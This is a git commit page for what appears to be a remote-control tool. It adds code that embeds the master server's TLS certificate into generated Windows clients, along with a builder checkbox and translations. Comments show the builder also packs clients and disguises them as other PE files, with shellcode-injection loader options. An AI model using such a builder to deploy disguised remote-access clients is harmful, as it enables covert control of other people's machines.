Feature: Embed the master's TLS certificate in generated clients
When the server has TLS enabled, the builder can now bake its certificate into the client it produces, so a distributed client speaks TLS on its very first connection instead of waiting for the anchor to be pushed after a plaintext login. The dialog gets a checkbox (IDC_CHECK_TLS_ANCHOR) that is only enabled for payloads and protocols where an embedded anchor makes sense; the choice is remembered even when the control flips to disabled and back, so switching protocols cannot silently undo a deliberate opt-out. Every label variant stays short enough to fit the 196 DLU field, including the German ones. A template that predates the anchor block no longer aborts generation: it warns, clears the checkbox and produces a plain client, so a master upgraded without rebuilding the ghost/ServerDll resources does not block every build. The certificate lands in a fixed 4 KiB block (magic, version, length, FNV-1a hash, master address, PEM) carved out of the payload at build time. The client reads its trust anchor from four sources in order: the tls_disabled marker, the certificate the server pushed into the registry, a PEM file next to the executable, and finally the embedded block. The embedded block only applies to a connection whose target matches the master recorded at generation time, compared as an address set: an exact string match when only one address is configured, or an intersection of resolved IPv4 addresses otherwise. A transferred, shared or parallel instance falls back to the old plaintext first-connect path instead of pinning itself to a certificate it can never verify. That decision is made per connection, not per process: shared and parallel instances are threads inside a single client process, so a process-wide flag let whichever instance connected first decide for all of them, and the first load of the TLS state cached that answer for good. The TLS layer now keeps two cached states (embedded anchor allowed, and not allowed), picks one per handshake, and reports the anchor source of that handshake for the login capability bit. Matching by resolved address also keeps parallel mode working, where the connection goes to the single IP the domain pool selected while the configured master is a domain or a list. Server side, generated and updated payloads get the block written in place; the client reports the capability bit on login so the console can tell which hosts are already TLS-only on first connect. Loading the anchor decodes every PEM block in the chain rather than just the leaf, and an anchor that exists but fails to load keeps the old fail-closed behaviour. A pushed anchor only reconnects when the transport of the live connection actually changes, judged against that connection's own target rather than the process-wide switch. This was verified end to end against a freshly generated client with an empty registry: the first connection was a TLS 1.2 ClientHello 0.2 s after start, and a four-certificate fullchain loaded all four blocks. Re-verified after the per-connection rework with the anchor block patched into a debug client: with a matching master the first bytes are a ClientHello, with a foreign master the client logs the skip and sends plaintext, and a domain master resolves to the IP it connects to and still matches. A master domain that no longer resolves falls back to plaintext within a second and is not looked up again for a minute, instead of stalling every reconnect on a DNS timeout while holding the lock the certificate verification needs. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
c4021e1fc9
commit
951b4072e5
31 files changed
+1911
-122
No files matched your search
@@ -52,6 +52,7 @@
|
||||
#include "McpSettingsDlg.h"
|
||||
#include "TlsCertificateDlg.h"
|
||||
#include "ServerTlsSession.h"
|
||||
#include "EmbeddedAnchor.h"
|
||||
#include "BuiltinTlsCert.h"
|
||||
#include "common/md5.h"
|
||||
#include <algorithm>
|
||||
@@ -5122,14 +5123,38 @@ void CMy2015RemoteDlg::OnExperimentTlsEnable()
|
||||
|
||||
void CMy2015RemoteDlg::OnExperimentTlsDisable()
|
||||
{
|
||||
if (!ServerTlsIdentity::IsReady()) {
|
||||
MessageBoxL(_T("服务端未启用 TLS 证书,无法切换客户端 TLS 传输"),
|
||||
_T("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
// 刻意不再要求 ServerTlsIdentity::IsReady():服务端证书损坏(fail-closed,只认 TLS
|
||||
// 却握手不了)恰恰是最需要让客户端退回明文的场景,挡住这条指令等于把恢复通道一起关掉。
|
||||
// 取消 TLS 只是让客户端停止发 ClientHello,服务端本来就一直接受明文。
|
||||
//
|
||||
// 先数出选中主机里有多少台靠「生成时内嵌的锚」在加密(CLIENT_CAP_EMBEDDED_ANCHOR):
|
||||
// 它们与本机的 tls_cert 无关,取消 TLS 后只能靠这条指令写下的抑制标记退出去;离线没
|
||||
// 收到的那些,下次上线仍会发 ClientHello 撞上明文服务端 → 永久失联,只能重新生成
|
||||
// 客户端(设计文档 §3.5、§4.9)。
|
||||
int selected = 0, embedded = 0;
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (context* ctx : ResolveCommandTargets()) {
|
||||
if (!ctx->IsLogin()) continue;
|
||||
++selected;
|
||||
if (ctx->UsesEmbeddedAnchor()) ++embedded;
|
||||
}
|
||||
if (IDYES != MessageBoxL(_T("确定取消选中主机的 TLS 传输吗?\n"
|
||||
"(客户端立即生效并断线重连,正在进行的远程会话会中断)"),
|
||||
_T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
if (selected == 0) return;
|
||||
|
||||
// 首发文案沿用原文案(语言文件里已有译文,键含字面 \n 的多行文本,CIniParser 会还原)。
|
||||
CString msg = _TR("确定取消选中主机的 TLS 传输吗?\n"
|
||||
"(客户端立即生效并断线重连,正在进行的远程会话会中断)");
|
||||
if (embedded > 0) {
|
||||
// 台数用 %d 进模板,不要在外面拼 "%d" + 译句:英文/德文的句首没有空格,
|
||||
// 拼出来是 "3host(s) use"、"3Host(s) nutzen"。
|
||||
CString line;
|
||||
line.Format(_TRF("%d 台主机使用生成时内嵌的信任锚:取消 TLS 后必须重新连上主控"
|
||||
"才能恢复加密,离线期间不会自行恢复。"), embedded);
|
||||
msg += "\r\n\r\n" + line;
|
||||
}
|
||||
if (IDYES != MessageBox(msg, _TR("提示"),
|
||||
MB_ICONQUESTION | MB_YESNO |
|
||||
(embedded > 0 ? MB_DEFBUTTON2 : MB_DEFBUTTON1))) return;
|
||||
BYTE bToken = COMMAND_TLS_DISABLE; //向被控端发送停用 TLS 传输命令
|
||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
@@ -5273,6 +5298,24 @@ BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, i
|
||||
dwFileSize -= iOffset + sizeof(CONNECT_ADDRESS);
|
||||
iOffset = MemoryFind(pSearchStart, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen());
|
||||
}
|
||||
|
||||
// 内嵌 TLS 信任锚(设计文档 §4.8):与生成界面共用同一段字节搬运路径,所以在线
|
||||
// 升级下发的客户端同样可以首连即 TLS。注意用 outSize 而不是 dwFileSize——上面的
|
||||
// 扫描循环已经把 dwFileSize 递减成了「剩余未扫描长度」。
|
||||
// NoBlock / NoAnchor —— 静默跳过:目标可能是 Linux/macOS 客户端,或用户自选文件。
|
||||
// 其余失败 —— 只记日志,绝不因为内嵌失败而中断下发。
|
||||
{
|
||||
DWORD anchorLen = 0;
|
||||
std::string anchorErr;
|
||||
EmbedResult embed = EmbedTlsAnchorInto(szBuffer, outSize, effectiveIP, anchorLen, anchorErr);
|
||||
if (embed == EmbedResult::Ok) {
|
||||
Mprintf("[TLS] embedded trust anchor (%u bytes) for master %s\n",
|
||||
(unsigned)anchorLen, effectiveIP.c_str());
|
||||
} else if (embed != EmbedResult::NoBlock && embed != EmbedResult::NoAnchor) {
|
||||
Mprintf("[TLS] WARN: embedded trust anchor skipped: %s\n", anchorErr.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
BYTE *buffer = new BYTE[outSize + 1 + sizeofSize];
|
||||
buffer[0] = cmd;
|
||||
memcpy(buffer + 1, &outSize, sizeofSize);
|
||||
|
||||
@@ -335,6 +335,7 @@
|
||||
<ClInclude Include="McpSettingsDlg.h" />
|
||||
<ClInclude Include="TlsCertificateDlg.h" />
|
||||
<ClInclude Include="BuiltinTlsCert.h" />
|
||||
<ClInclude Include="EmbeddedAnchor.h" />
|
||||
<ClInclude Include="NetworkDlg.h" />
|
||||
<ClInclude Include="NotifyConfig.h" />
|
||||
<ClInclude Include="NotifyManager.h" />
|
||||
@@ -407,6 +408,7 @@
|
||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||
<ClCompile Include="TlsCertificateDlg.cpp" />
|
||||
<ClCompile Include="BuiltinTlsCert.cpp" />
|
||||
<ClCompile Include="EmbeddedAnchor.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
|
||||
@@ -97,6 +97,7 @@
|
||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||
<ClCompile Include="TlsCertificateDlg.cpp" />
|
||||
<ClCompile Include="BuiltinTlsCert.cpp" />
|
||||
<ClCompile Include="EmbeddedAnchor.cpp" />
|
||||
<ClCompile Include="CClientLog.cpp" />
|
||||
<ClCompile Include="CActivityDialog.cpp" />
|
||||
<ClCompile Include="LogSearchBar.cpp" />
|
||||
@@ -214,6 +215,7 @@
|
||||
<ClInclude Include="McpSettingsDlg.h" />
|
||||
<ClInclude Include="TlsCertificateDlg.h" />
|
||||
<ClInclude Include="BuiltinTlsCert.h" />
|
||||
<ClInclude Include="EmbeddedAnchor.h" />
|
||||
<ClInclude Include="CClientLog.h" />
|
||||
<ClInclude Include="CActivityDialog.h" />
|
||||
<ClInclude Include="LogSearchBar.h" />
|
||||
|
||||
@@ -13,6 +13,8 @@
|
||||
#include <Shlwapi.h>
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
#include "Resource.h"
|
||||
#include "EmbeddedAnchor.h"
|
||||
#include "ServerTlsSession.h"
|
||||
extern "C" {
|
||||
#include "client/reg_startup.h"
|
||||
}
|
||||
@@ -221,6 +223,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
, m_sInstallDir(_T(""))
|
||||
, m_sInstallName(_T(""))
|
||||
, m_sDownloadUrl(_T(""))
|
||||
, m_nAnchorUserCheck(-1)
|
||||
{
|
||||
|
||||
}
|
||||
@@ -278,6 +281,8 @@ BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName)
|
||||
ON_BN_CLICKED(IDC_CHECK_FILESERVER, &CBuildDlg::OnBnClickedCheckFileserver)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_PAYLOAD, &CBuildDlg::OnCbnSelchangeComboPayload)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_PROTO, &CBuildDlg::OnCbnSelchangeComboProto)
|
||||
ON_BN_CLICKED(IDC_CHECK_TLS_ANCHOR, &CBuildDlg::OnBnClickedCheckTlsAnchor)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -589,6 +594,34 @@ void CBuildDlg::OnBnClickedOk()
|
||||
return;
|
||||
}
|
||||
|
||||
// 内嵌 TLS 信任锚:让这批客户端首连即 TLS,不必等主控在线下发(设计文档 §3.3)。
|
||||
// 位置很关键——锚块与 CONNECT_ADDRESS 走同一条字节搬运路径,写在这里之后,
|
||||
// 下面的 UPX / ShellCode / PE 伪装都会把它原样带进最终产物。
|
||||
// 写了一半失败一律放弃生成:半截的锚会让客户端进 fail-closed 且没有恢复通道。
|
||||
// 特例是 NoBlock——模板里根本没有锚块,一个字节都没动,产物与「没这个特性」的
|
||||
// 客户端完全一样。升级主控后忘了重编 ghost/ServerDll 资源时每次生成都会被默认
|
||||
// 勾选挡下(复选框没表过态就是勾着的),所以这里只提示 + 取消勾选,照常生成。
|
||||
DWORD anchorLen = 0;
|
||||
if (m_ChkTlsAnchor.GetSafeHwnd() && m_ChkTlsAnchor.IsWindowEnabled() &&
|
||||
m_ChkTlsAnchor.GetCheck() == BST_CHECKED) {
|
||||
std::string anchorErr;
|
||||
EmbedResult embed = EmbedTlsAnchorInto(szBuffer, dwFileSize, m_strIP.GetString(),
|
||||
anchorLen, anchorErr);
|
||||
if (embed == EmbedResult::NoBlock) {
|
||||
MessageBoxL(_TR("提示: 客户端模板里没有内嵌锚块,本次按普通客户端生成;"
|
||||
"重编 ghost/ServerDll 资源后可再次启用。") + "\r\n" + file,
|
||||
"提示", MB_ICONINFORMATION);
|
||||
m_nAnchorUserCheck = 0;
|
||||
m_ChkTlsAnchor.SetCheck(BST_UNCHECKED);
|
||||
} else if (embed != EmbedResult::Ok) {
|
||||
MessageBoxL(_TR("内嵌 TLS 信任锚失败,已取消生成:") + "\r\n" + CString(anchorErr.c_str()) +
|
||||
"\r\n" + _TR("可取消勾选「内嵌TLS信任锚」后重试。") + "\r\n" + file,
|
||||
"提示", MB_ICONWARNING);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// 保存文件
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
@@ -611,6 +644,16 @@ void CBuildDlg::OnBnClickedOk()
|
||||
tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n" + _TR("提示: 使用KCP协议生成服务,必须设置主控UDP协议参数为1。") : _T("");
|
||||
tip += (g_ConnectAddress.protoType==PROTO_WS || g_ConnectAddress.protoType==PROTO_WSS) ?
|
||||
"\n" + _TR("提示: WebSocket协议需经反向代理(如nginx 443)转发到主控端口,地址填域名。") : _T("");
|
||||
if (anchorLen > 0) {
|
||||
// 带上锚摘要:内置证书可能在服务端重建过程中换了一张,光看「成功」发现不了。
|
||||
std::string summary;
|
||||
tip += "\r\n" + _TR("已内嵌TLS信任锚") + ": " +
|
||||
(TlsAnchorSummary(summary) ? CString(summary.c_str()) : CString("?"));
|
||||
} else if (index == IndexServerDll && m_ChkTlsAnchor.IsWindowEnabled()) {
|
||||
// 生成 ServerDll.dll 却没勾内嵌锚,等于 TestRun 那条链上一个能加密的客户端都
|
||||
// 没有——非阻塞提示(设计文档 §4.7)。
|
||||
tip += "\r\n" + _TR("提示: 未内嵌TLS信任锚,本批客户端首次连接为明文,需主控在线下发锚。");
|
||||
}
|
||||
std::string upx;
|
||||
int sel = m_ComboCompress.GetCurSel();
|
||||
if(sel == CLIENT_COMPRESS_UPX)upx = ReleaseUPX();
|
||||
@@ -911,6 +954,19 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_strPort.Format("%d", effectivePort);
|
||||
UpdateData(FALSE);
|
||||
|
||||
// 内嵌 TLS 信任锚复选框:动态创建在「协议」行与「Port」行之间的空白带(DLU
|
||||
// 216,70 — 412,82)。动态创建的好处是文案走语言文件、不必新增资源控件,位置也只
|
||||
// 在这一个地方维护。
|
||||
CRect rcAnchor(216, 70, 412, 82);
|
||||
MapDialogRect(&rcAnchor);
|
||||
m_ChkTlsAnchor.Create(_TR("内嵌TLS信任锚(首连即加密)"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
rcAnchor, this, IDC_CHECK_TLS_ANCHOR);
|
||||
// 运行时创建的控件不继承对话框字体(模板里的控件是对话框管理器按 DS_SETFONT 设的),
|
||||
// 不显式设置就会用系统默认字体,和旁边的下拉框、单选按钮对不上。
|
||||
m_ChkTlsAnchor.SetFont(GetFont());
|
||||
UpdateTlsAnchorState();
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
@@ -963,10 +1019,68 @@ void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
}
|
||||
}
|
||||
|
||||
// 「内嵌 TLS 信任锚」复选框的可用性与文案。三个条件缺一不可(设计文档 §4.7):
|
||||
// 1. 生成目标里真的有客户端代码(ghost.exe / ServerDll.dll);
|
||||
// 2. 协议会用到这份锚(TCP / HTTP;WS 走明文,WSS 的锚是反代那张证书);
|
||||
// 3. 服务端自己有可用身份(ServerTlsIdentity::IsReady)。
|
||||
// 不可用时置灰,并把原因写进文案本身——置灰控件收不到 tooltip,提示只能靠文案带出去。
|
||||
void CBuildDlg::UpdateTlsAnchorState()
|
||||
{
|
||||
if (!m_ChkTlsAnchor.GetSafeHwnd())
|
||||
return;
|
||||
|
||||
const int index = m_ComboExe.GetCurSel();
|
||||
const int proto = m_ComboProto.GetCurSel();
|
||||
const bool embeddable = (index == IndexGhost || index == IndexGhostMsc ||
|
||||
index == IndexGhostSystem || index == IndexServerDll);
|
||||
const bool testRun = (index == IndexTestRun_DLL || index == IndexTestRun_MemDLL ||
|
||||
index == IndexTestRun_InjSC || index == IndexTestRunMsc ||
|
||||
index == IndexTestRunSystem);
|
||||
|
||||
CString label;
|
||||
bool usable = false;
|
||||
if (!embeddable) {
|
||||
// TestRun 只是加载器,锚要生成进 ServerDll.dll —— 这条提示比「不含客户端」有用。
|
||||
label = testRun ? _TR("内嵌TLS信任锚(锚在ServerDll.dll里)")
|
||||
: _TR("内嵌TLS信任锚(该目标不含客户端)");
|
||||
} else if (proto != PROTO_TCP && proto != PROTO_HTTP) {
|
||||
label = _TR("内嵌TLS信任锚(该协议不走TLS)");
|
||||
} else if (!ServerTlsIdentity::IsReady()) {
|
||||
label = _TR("内嵌TLS信任锚(服务端未启用TLS)");
|
||||
} else {
|
||||
label = _TR("内嵌TLS信任锚(首连即加密)");
|
||||
usable = true;
|
||||
}
|
||||
|
||||
m_ChkTlsAnchor.SetWindowText(label);
|
||||
m_ChkTlsAnchor.EnableWindow(usable);
|
||||
if (!usable) {
|
||||
// 不可用时一律显示成未勾选;用户此前的表态留在 m_nAnchorUserCheck 里。
|
||||
m_ChkTlsAnchor.SetCheck(BST_UNCHECKED);
|
||||
} else {
|
||||
// 没表过态就默认勾选;表过态(尤其是主动取消)就以用户的为准。不能用
|
||||
// 「由不可用变可用就勾上」来判断——那样切一次协议再切回来,会把用户的
|
||||
// 取消悄悄改回勾选,生成时真就内嵌进去了。
|
||||
m_ChkTlsAnchor.SetCheck(m_nAnchorUserCheck < 0 ? BST_CHECKED : m_nAnchorUserCheck);
|
||||
}
|
||||
}
|
||||
|
||||
void CBuildDlg::OnBnClickedCheckTlsAnchor()
|
||||
{
|
||||
if (m_ChkTlsAnchor.GetSafeHwnd())
|
||||
m_nAnchorUserCheck = m_ChkTlsAnchor.GetCheck();
|
||||
}
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboProto()
|
||||
{
|
||||
UpdateTlsAnchorState();
|
||||
}
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
|
||||
UpdateTlsAnchorState();
|
||||
if (n == OTHER_ITEM) {
|
||||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||||
if (!name.IsEmpty()) {
|
||||
|
||||
@@ -108,4 +108,14 @@ public:
|
||||
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group)
|
||||
void EnableWindowsOnlyControls(BOOL enable);
|
||||
CComboBox m_ComboLocation;
|
||||
|
||||
// 内嵌服务端 TLS 信任锚(动态创建:不改 .rc,避免 GBK 资源文件的字节级编辑)。
|
||||
// 可用性三条件见 UpdateTlsAnchorState;生成时由 OnBnClickedOk 调用 EmbedTlsAnchorInto。
|
||||
CButton m_ChkTlsAnchor;
|
||||
// 用户对复选框的表态:-1 = 没表过态(默认勾选),0/1 = 用户最后一次手动选择。
|
||||
// 记下来是为了让「取消勾选」这件事在切目标/切协议来回之后依然算数。
|
||||
int m_nAnchorUserCheck;
|
||||
void UpdateTlsAnchorState();
|
||||
afx_msg void OnBnClickedCheckTlsAnchor();
|
||||
afx_msg void OnCbnSelchangeComboProto();
|
||||
};
|
||||
@@ -0,0 +1,146 @@
|
||||
// EmbeddedAnchor.cpp — 生成端:把服务端信任锚写进客户端镜像的锚块。
|
||||
//
|
||||
// 见 docs/ClientEmbeddedTLS_Design.md §3.3、§4.6。要点:
|
||||
// 1. magic 字面量在二进制里不止一份(.rdata 里还有一份),所以不能「找到第一处就写」;
|
||||
// 必须扫出全部命中、逐个做结构校验,恰好一个才写,零个报 NoBlock,多个报 Ambiguous。
|
||||
// 2. 写之前先读 stub 自己的 capacity 字段——老 stub 没有这个块,我们报错而不是越界。
|
||||
// 3. 超长一律报错,绝不截断:截断的 PEM 会让客户端进 fail-closed 且没有恢复通道。
|
||||
#include "StdAfx.h"
|
||||
#include "EmbeddedAnchor.h"
|
||||
#include "ServerTlsSession.h" // ServerTlsIdentity::AnchorPem / IsReady / IsBuiltin
|
||||
#include "common/tls_anchor.h"
|
||||
|
||||
#include <wincrypt.h>
|
||||
#include <vector>
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
namespace {
|
||||
|
||||
// 扫出所有通过结构校验的锚块偏移。命中通常只有 0 或 1 个:payload 里出现的另一处
|
||||
// magic 是 .rdata 里的字面量副本,过不了 version/capacity/hash 校验。
|
||||
std::vector<size_t> FindAnchorBlocks(const BYTE* payload, DWORD size)
|
||||
{
|
||||
std::vector<size_t> hits;
|
||||
if (!payload || size < sizeof(EmbeddedTlsAnchor))
|
||||
return hits;
|
||||
|
||||
const size_t last = (size_t)size - sizeof(EmbeddedTlsAnchor);
|
||||
for (size_t i = 0; i <= last; ++i) {
|
||||
const char* p = (const char*)payload + i;
|
||||
if (!IsAnchorMagic(p))
|
||||
continue;
|
||||
EmbeddedTlsAnchor block;
|
||||
memcpy(&block, p, sizeof(block)); // 对齐安全:不直接解引用未对齐指针
|
||||
if (IsAnchorBlockValid(block))
|
||||
hits.push_back(i);
|
||||
}
|
||||
return hits;
|
||||
}
|
||||
|
||||
bool GetAnchorPem(std::string& pem, std::string& err)
|
||||
{
|
||||
if (!ServerTlsIdentity::IsReady()) {
|
||||
err = "server TLS identity is not ready";
|
||||
return false;
|
||||
}
|
||||
if (!ServerTlsIdentity::AnchorPem(pem) || pem.empty()) {
|
||||
err = "server TLS anchor is empty";
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
EmbedResult EmbedTlsAnchorInto(BYTE* payload, DWORD size, const std::string& master,
|
||||
DWORD& pemLen, std::string& err)
|
||||
{
|
||||
pemLen = 0;
|
||||
|
||||
std::vector<size_t> hits = FindAnchorBlocks(payload, size);
|
||||
if (hits.empty()) {
|
||||
err = "no embedded TLS anchor block in payload (stub not rebuilt?)";
|
||||
return EmbedResult::NoBlock;
|
||||
}
|
||||
if (hits.size() > 1) {
|
||||
err = "multiple embedded TLS anchor blocks in payload";
|
||||
return EmbedResult::Ambiguous;
|
||||
}
|
||||
|
||||
std::string pem;
|
||||
if (!GetAnchorPem(pem, err))
|
||||
return EmbedResult::NoAnchor;
|
||||
|
||||
if (pem.size() > kAnchorCapacity) {
|
||||
err = "certificate PEM is " + std::to_string(pem.size()) + " bytes, slot holds " +
|
||||
std::to_string(kAnchorCapacity);
|
||||
return EmbedResult::TooLong;
|
||||
}
|
||||
// 主控地址槽位:必须给结尾的 '\0' 留一位,否则客户端 strnlen 读到的地址会被截断。
|
||||
constexpr size_t kMasterSlot = sizeof(EmbeddedTlsAnchor::master);
|
||||
if (master.size() >= kMasterSlot) {
|
||||
err = "master address is " + std::to_string(master.size()) + " bytes, slot holds " +
|
||||
std::to_string(kMasterSlot - 1);
|
||||
return EmbedResult::TooLong;
|
||||
}
|
||||
|
||||
// 以 stub 里的块为底稿,只改我们负责的字段——magic/capacity 原样保留。
|
||||
EmbeddedTlsAnchor block;
|
||||
memcpy(&block, payload + hits[0], sizeof(block));
|
||||
block.version = kAnchorVersion;
|
||||
block.length = (uint32_t)pem.size();
|
||||
block.hash = Fnv1a32(pem.data(), pem.size());
|
||||
memset(block.master, 0, sizeof(block.master));
|
||||
memcpy(block.master, master.c_str(), master.size());
|
||||
memset(block.pem, 0, sizeof(block.pem));
|
||||
memcpy(block.pem, pem.data(), pem.size());
|
||||
|
||||
memcpy(payload + hits[0], &block, sizeof(block));
|
||||
pemLen = (DWORD)pem.size();
|
||||
return EmbedResult::Ok;
|
||||
}
|
||||
|
||||
bool TlsAnchorSummary(std::string& out)
|
||||
{
|
||||
std::string pem, err;
|
||||
if (!GetAnchorPem(pem, err))
|
||||
return false;
|
||||
|
||||
// 只取 PEM 里的第一张证书算指纹:fullchain 时第一张就是服务端自己的叶子证书,
|
||||
// 客户端 pin 的也正是它(见 client/TlsChannel.cpp 的 VerifyServerCert)。
|
||||
DWORD derLen = 0;
|
||||
if (!CryptStringToBinaryA(pem.c_str(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
NULL, &derLen, NULL, NULL) || derLen == 0)
|
||||
return false;
|
||||
std::vector<BYTE> der(derLen);
|
||||
if (!CryptStringToBinaryA(pem.c_str(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
|
||||
der.data(), &derLen, NULL, NULL))
|
||||
return false;
|
||||
|
||||
std::string thumb("?"), expiry;
|
||||
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
|
||||
if (cert) {
|
||||
BYTE hash[20] = {};
|
||||
DWORD cbHash = sizeof(hash);
|
||||
if (CertGetCertificateContextProperty(cert, CERT_SHA1_HASH_PROP_ID, hash, &cbHash) &&
|
||||
cbHash >= 6) {
|
||||
static const char kHex[] = "0123456789abcdef";
|
||||
thumb.clear();
|
||||
for (int i = 0; i < 6; ++i) {
|
||||
thumb += kHex[hash[i] >> 4];
|
||||
thumb += kHex[hash[i] & 0x0F];
|
||||
}
|
||||
}
|
||||
FILETIME utc = cert->pCertInfo->NotAfter, local = {};
|
||||
SYSTEMTIME st = {};
|
||||
if (FileTimeToLocalFileTime(&utc, &local) && FileTimeToSystemTime(&local, &st)) {
|
||||
char buf[16];
|
||||
sprintf_s(buf, "%04u-%02u-%02u", st.wYear, st.wMonth, st.wDay);
|
||||
expiry = buf;
|
||||
}
|
||||
CertFreeCertificateContext(cert);
|
||||
}
|
||||
|
||||
out = (ServerTlsIdentity::IsBuiltin() ? "builtin " : "custom ") + expiry + " sha1:" + thumb;
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
#pragma once
|
||||
//
|
||||
// 生成客户端时,把「服务端自己的 TLS 证书」写进客户端镜像里的锚块,让分发出去的客户端
|
||||
// 首次连接就是 TLS —— 见 common/tls_anchor.h 与 docs/ClientEmbeddedTLS_Design.md §4.6。
|
||||
//
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
|
||||
enum class EmbedResult {
|
||||
Ok, // 写入成功
|
||||
NoBlock, // payload 里没有锚块(老 stub,或用户自选的文件)
|
||||
Ambiguous, // 找到多个通过校验的锚块——宁可报错也不猜
|
||||
NoAnchor, // 服务端当前没有可用的信任锚
|
||||
TooLong, // 证书 PEM 或主控地址超出槽位
|
||||
};
|
||||
|
||||
// 把服务端当前信任锚(ServerTlsIdentity::AnchorPem)原地写进 payload 的锚块。
|
||||
// master —— 生成时配置的主控地址(CONNECT_ADDRESS.szServerIP 的原样字符串,含分号多地址)。
|
||||
// 客户端启动后据此判断「我是不是还连在生成时那台主控」。地址对不上就跳过内嵌锚。
|
||||
// pemLen —— 成功时回填写入的 PEM 字节数(用于界面显示「这批客户端钉的是哪张证书」)。
|
||||
// 必须在压缩 / 加壳 / 伪装之前调用:锚块与 CONNECT_ADDRESS 走同一条字节搬运路径,
|
||||
// 上游写入才能被后续所有包装形态原样带下去。
|
||||
EmbedResult EmbedTlsAnchorInto(BYTE* payload, DWORD size, const std::string& master,
|
||||
DWORD& pemLen, std::string& err);
|
||||
|
||||
// 当前信任锚的一行摘要,例如 "builtin 2036-11-01 sha1:1a2b3c4d5e6f",用于生成结果里
|
||||
// 核对「这批客户端钉的是哪张证书」(内置证书会重新生成,光看"成功"无法发现换了张)。
|
||||
// 服务端当前没有可用锚、或 PEM 解析不出来时返回 false。
|
||||
bool TlsAnchorSummary(std::string& out);
|
||||
@@ -112,4 +112,14 @@ public:
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_PROTO_SWITCH) != 0;
|
||||
}
|
||||
|
||||
// 本机当前是不是靠「生成时内嵌的 TLS 信任锚」在加密(CLIENT_CAP_EMBEDDED_ANCHOR)。
|
||||
// 这不是能力声明而是运行时状态:只有这种主机在服务端关掉 TLS 后无法自愈——在线时
|
||||
// 还能收到「取消 TLS」,离线时发 ClientHello 会被 fail-closed 挡掉,再也进不来。
|
||||
// 服务端据此在「取消 TLS」确认框里提示数量(设计文档 §3.5、§4.9)。
|
||||
bool UsesEmbeddedAnchor() const {
|
||||
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_EMBEDDED_ANCHOR) != 0;
|
||||
}
|
||||
};
|
||||
@@ -2185,3 +2185,15 @@ MCP:
|
||||
证书或私钥文件不存在,请检查路径。=Zertifikat- oder Schluesseldatei nicht vorhanden; bitte Pfad pruefen.
|
||||
HTTPS 开关与证书路径的改动需重启程序生效。=Aenderungen am HTTPS-Schalter und an den Zertifikatspfaden werden nach Neustart wirksam.
|
||||
证书须为 PEM 格式,私钥须为 PKCS#8 格式。=Zertifikat muss im PEM-Format vorliegen, Schluessel im PKCS#8-Format.
|
||||
; ===== Eingebetteter TLS-Vertrauensanker =====
|
||||
内嵌TLS信任锚(首连即加密)=TLS-Vertrauensanker einbetten (TLS von Anfang an)
|
||||
内嵌TLS信任锚(锚在ServerDll.dll里)=TLS-Vertrauensanker einbetten (in ServerDll.dll)
|
||||
内嵌TLS信任锚(该目标不含客户端)=TLS-Vertrauensanker einbetten (Ziel ohne Client)
|
||||
内嵌TLS信任锚(该协议不走TLS)=TLS-Vertrauensanker einbetten (Protokoll ohne TLS)
|
||||
内嵌TLS信任锚(服务端未启用TLS)=TLS-Vertrauensanker einbetten (Server-TLS aus)
|
||||
